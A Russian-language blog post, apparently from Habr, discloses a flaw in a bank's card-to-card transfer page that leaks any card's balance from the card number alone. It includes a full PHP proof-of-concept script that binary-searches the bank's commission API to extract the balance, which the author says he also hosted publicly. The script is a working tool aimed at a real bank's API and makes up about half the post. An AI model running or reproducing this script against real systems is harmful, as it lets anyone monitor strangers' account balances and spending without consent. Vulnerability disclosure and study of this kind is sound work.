Началось все с того, что в один прекрасный вечер попросил меня друг закинуть ему денег на карточку. Всегда решал такие проблемы либо через интернет-банк, либо через мобильное приложение, но поскольку с недавних пор у них интернет-банк превратился в дикого монстра, на этот раз решил воспользоваться их сервисом card2card.
Заполняю себе спокойно поля, и тут случается неожиданное:
Подождите, ведь я же не нажал кнопку отправить! Откуда это взялось? Поигрался с суммой, проверяется реальная сумма на карте.
Сначала я грешным делом подумал, что аякс отправляет на сервер все данные карты, включая CVC и срок действия, при каждом редактировании. Это, конечно, свинство, но https — пусть творят что хотят. Захожу в запросы браузера:
CVC не передается, это уже интересно. Зато передается срок действия, хоть какая-то защита, думаю я, хотя все еще в недоумении зачем проверять баланс карты аяксом на лету.
Но все же интерес докопать до конца не покидает и редактирую запрос:
Упс. На обратном конце не проверяется ничего, кроме номера карты отправителя.
Очевидно, что методом простого перебора легко подобрать сумму, ниже которой все ок, а выше уже ошибка — это и будет баланс карты. То есть, зная один лишь номер карты (который конечно информация не слишком публичная, но и не критичная, многие дают номера карт друзьям и даже выкладывают их в интернет для получения платежей) можно узнать, сколько там денег. Причем, как показали эксперименты, никакие месячные лимиты на это не влияют.
Дырка не критичная, но доступность этой информации в реальном времени позволяет отслеживать все расходы/пополнения — а это уже серьезнее.
Сразу же отписался безопасникам по публично доступной почте, но реакции, как обычно, ноль.
Быстренько набросал proof of concept (сильно не бейте, мой опыт программирования — бейсик в школе).
<?php
header( 'Content-type: text/html; charset=utf-8' );
$card = $_GET['card'];
$card = preg_replace('/[^0-9]+/', '', $card);
if (strlen($card) != 16) {
exit('<br>Wrong card number: ' . $card);
}
echo 'Probing card ' . $card . '... <br>';
flush();
ob_flush();
sleep(1);
$money = 50000;
$max = 1000000;
$min = 0;
$done = false;
$iter = 0;
while ($done == false) {
if($iter %5 == 0) {
echo 'Still working, please hang on...<br>';
flush();
ob_flush();
sleep(1);
}
$json = file_get_contents('https://www.tinkoff.ru/api/v1/payment_commission/?paymentType=Transfer¤cy=RUB&moneyAmount=' . $money . '&provider=c2c-anytoany&sessionid=1&origin=prt&cardNumber=' . $card . '&fieldtoCardNumber=5213243731243612&fieldagreement=&securityCode=cvc&expiryDate=10/20');
$obj = json_decode($json);
$result = $obj->{'resultCode'};
if ($result == "OK") {
//need to increase
$min = $money;
$money = ($min + $max) /2;
$last_total_money = round($obj->payload->total->value);
} else {
//need to decrease
$max = $money;
$money = ($min + $max) /2;
}
$iter++;
if ((floor($max) - floor($min)) == 0) {
$done = true;
echo '<br><br>Money amount is ' . $last_total_money . ' roubles.';
}
if ($iter > 50) {
exit('<br><br>Something went terribly wrong, or the bug is already fixed. Last amount is ' . $last_total_money);
}
}
?>
Так же залил на tcs.arhs.ru, но хабраэффекта скорее всего не выдержит.
Ну и на правах побрюзжать. Последний интернет-банк получился абсолютно неюзабельным, грустно читать тут статьи разработчиков, которые им еще и гордятся. Переборщили так, что даже заходить лишний раз не хочется, грузится подольше некоторых игрушек, хорошо, хоть мобильное приложение пока нормальное.
Автор: kromm